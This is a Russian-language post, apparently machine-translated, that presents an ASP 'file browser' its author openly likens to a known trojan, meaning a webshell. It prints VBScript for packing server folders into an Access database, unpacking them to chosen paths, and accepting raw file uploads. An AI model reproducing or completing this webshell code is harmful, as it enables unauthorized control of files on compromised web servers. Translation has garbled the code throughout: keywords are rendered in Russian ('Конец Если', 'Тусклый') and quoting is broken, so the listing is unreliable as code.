Это файловый браузер FSO, написанный с использованием объектов коллекции FSO (если вы настаиваете на том, что это троян, я не возражаю. Функционально он имитирует дизайн «Лучшего трояна океана», но код полностью переписан). Использование таких компонентов, как Shell.Application, которые могут легко вызвать случайное завершение работы антивирусного программного обеспечения. В Интернете есть много подобных инструментов. Польза от этого инструмента не очень велика, но многие коды в нем считаются хорошо написанными.
Ключевые особенности включают в себя: Просматривайте информацию о диске, просматривайте файлы на диске и выполняйте операции аналогично проводнику Windows, например создание, удаление, переименование, копирование, перемещение и другие основные операции с файлами.
Загрузка файлов в потоковом режиме упрощает и оптимизирует упаковку/распаковку загружаемых файлов без использования компонентов. Папка может быть полностью упакована/распакована.
Фрагмент кода:
1. Часть упаковки/распаковки файлов
Дополнительный пакет( ByVal FPath, ByVal sDbPath) Сервер.ScriptTimeOut=900 Тусклый путь к базе данных Если Right(sDbPath,4)= ".mdb" Затем DbPath=sDbPath Еще DbPath=sDbPath ".mdb" Конец Если Если oFso.FolderExists(DbPath) Тогда EchoBack «Невозможно создать файл базы данных!» &Replace(DbPath, «",» \") Выход Саб Конец Если Если oFso.FileExists(DbPath) Тогда oFso.DeleteFile DbPath Конец Если Если IsFolder(FPath) Тогда RootPath=GetParentFolder(FPath) Если Right(RootPath,1)<> "" Тогда RootPath=RootPath&" " Еще EchoBack «Пожалуйста, введите путь к папке!» Выход Саб Конец Если Dim oCatalog, connStr, DataName Установить conn=Server.CreateObject( "ADODB.Connection" ) Установить oStream=Server.CreateObject( "ADODB.Stream" ) Set oCatalog=Server.CreateObject( "ADOX.Catalog" ) Установить rs=Server.CreateObject( "ADODB.RecordSet" ) На Ошибка Резюме Следующий connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Источник данных=" & DbPath oCatalog.Create connStr Если Ошибка Тогда EchoBack «Невозможно создать файл базы данных!» &Replace(DbPath, «",» \") Выход Саб Конец Если Установить oCatalog= Ничего conn.Open connStr conn.Execute( "Создать файлы таблиц (ID int IDENTITY(0,1) КЛУСТЕРИРОВАННЫЙ ПЕРВИЧНЫЙ КЛЮЧ, FilePath VarChar, FileData Image)" ) oStream.Open oStream.Type=1 rs.Откройте «Файлы» , conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1) NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName) СписокФайловФайлов= "" ПакфолдерФПат Если FailFilelist= "" Затем EchoClose «Упаковка папок прошла успешно!» Еще Response.Write " " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " " ) "" Конец Если oStream.Close rs.Close конн.Закрыть Конец Саб Дополнительная папка_папки(FolderPath) Если Не IsFolder(FolderPath) Тогда Выход Саб Уменьшить oFolder, sFile, sFolder Установить oFolder=oFso.GetFolder(FolderPath) Для Каждый файл в oFolder.Files Если InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Тогда PackFile sFile.Path Конец Если Следующий Установить sFile = Ничего Для Каждая sFolder в oFolder.SubFolders PackFolder sFolder.Path Следующий Установить sFolder= Ничего Конец Саб Дополнительный PackFile(FilePath) Дим РелПат RelPath=Replace(FilePath,RootPath, "" ) На Ошибка Резюме Следующий Ошиб.Очистить Ошибка = Ложь oStream.LoadFromFile FilePath rs.AddNew rs( "FilePath" )=RelPath rs( "FileData" )=oStream.Read() rs.Обновление Если Ошибка Тогда FailFilelist=FailFilelist&FilePath "|" Конец Если Конец Саб Sub UnPack (vFolderPath, DbPath) Сервер.ScriptTimeOut=900 Уменьшить FilePath, FolderPath, sFolderPath FolderPath=vFolderPath FolderPath=Обрезать(Путь к папке) Если Mid(FolderPath,2,1)<> ":" Затем EchoBack «Формат пути неверен, каталог не может быть создан!» Выход Саб Конец Если Если Right(FolderPath,1)= "" Тогда FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Установить conn=Server.CreateObject( "ADODB.Connection" ) Установить oStream=Server.CreateObject( "ADODB.Stream" ) Установить rs=Server.CreateObject( "ADODB.RecordSet" ) connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Источник данных=" & DbPath На Ошибка Резюме Следующий Ошибка = Ложь conn.Open connStr Если Ошибка Тогда EchoBack «Ошибка открытия базы данных!» Выход Саб Конец Если Ошибка = Ложь oStream.Open oStream.Type=1 rs.Откройте «Файлы» , conn,1,1 Список_файлов_неудач = "" Делать До rs.EOF Ошиб.Очистить Ошибка = Ложь FilePath=FolderPath ""&rs(" FilePath") FilePath=Replace(FilePath, "\"," "") sFolderPath=Left(FilePath,InStrRev(FilePath, "" )) Если Не oFso.FolderExists(sFolderPath) Тогда CreateFolder(sFolderPath) Конец Если oStream.SetEos() oStream.Write rs( "FileData" ) oStream.SaveToFile FilePath,2 Если Ошибка Тогда FailFilelist=FailFilelist&rs( "FilePath" ). Значение "|" Конец Если rs.MoveNext Петля rs.Close Установить rs = Ничего конн.Закрыть Set conn= Ничего Установить oStream = Ничего Если FailFilelist= "" Затем EchoClose «Распаковка файла прошла успешно!» Еще Response.Write " " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " " ) "" Конец Если Конец Саб
2. Часть загрузки файла (один файл):
Saveupload ( ByVal FolderName) Если Not IsFolder(FolderName) Тогда EchoClose «Папка для загрузки не указана!» Выход Саб Конец Если Тусклый путь,IsOverWrite Path=Имя папки If Right(Path,1)<> "" Тогда Path=Path&" " FileName=Replace(Request( "filename" ), ""," ") Если Len(FileName)<1 , то EchoBack «Пожалуйста, выберите файл и введите имя файла!» Выход Саб Конец Если Путь=Путь Если LCase(Request( "перезаписать" ))= "истина" Тогда IsOverWrite= Истина Иначе IsOverWrite= Ложь Конец Если На Ошибка Резюме Следующий Вызовите MyUpload(Path,IsOverWrite) Если Err Тогда EchoBack «Не удалось загрузить файл! (Возможно, файл уже существует)» Иначе EchoClose «Файл успешно загружен!n» и заменить(имя_файла, «", « \") Конец Если Конец Sub MyUpload (FilePath,IsOverWrite) Dim oStream, tStream, FileName, sData, sSpace, sInfo, iSpaceEnd, iInfoStart, iInfoEnd, iFileStart, iFileEnd, iFileSize, RequestSize, bCrLf RequestSize = Request.TotalBytes Если РазмерЗапроса<1 Тогда Выход Саб Установить oStream=Server.CreateObject( "ADODB.Stream" ) Установить tStream=Server.CreateObject( "ADODB.Stream" ) С oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace =LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData= "" iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize Если IsOverWrite Тогда tStream.SaveToFile FilePath,2 Иначе tStream.SaveToFile FilePath Конец Если tStream.Close .Close Конец С SettStream = Ничего Установить oStream= Ничего, Конец Саб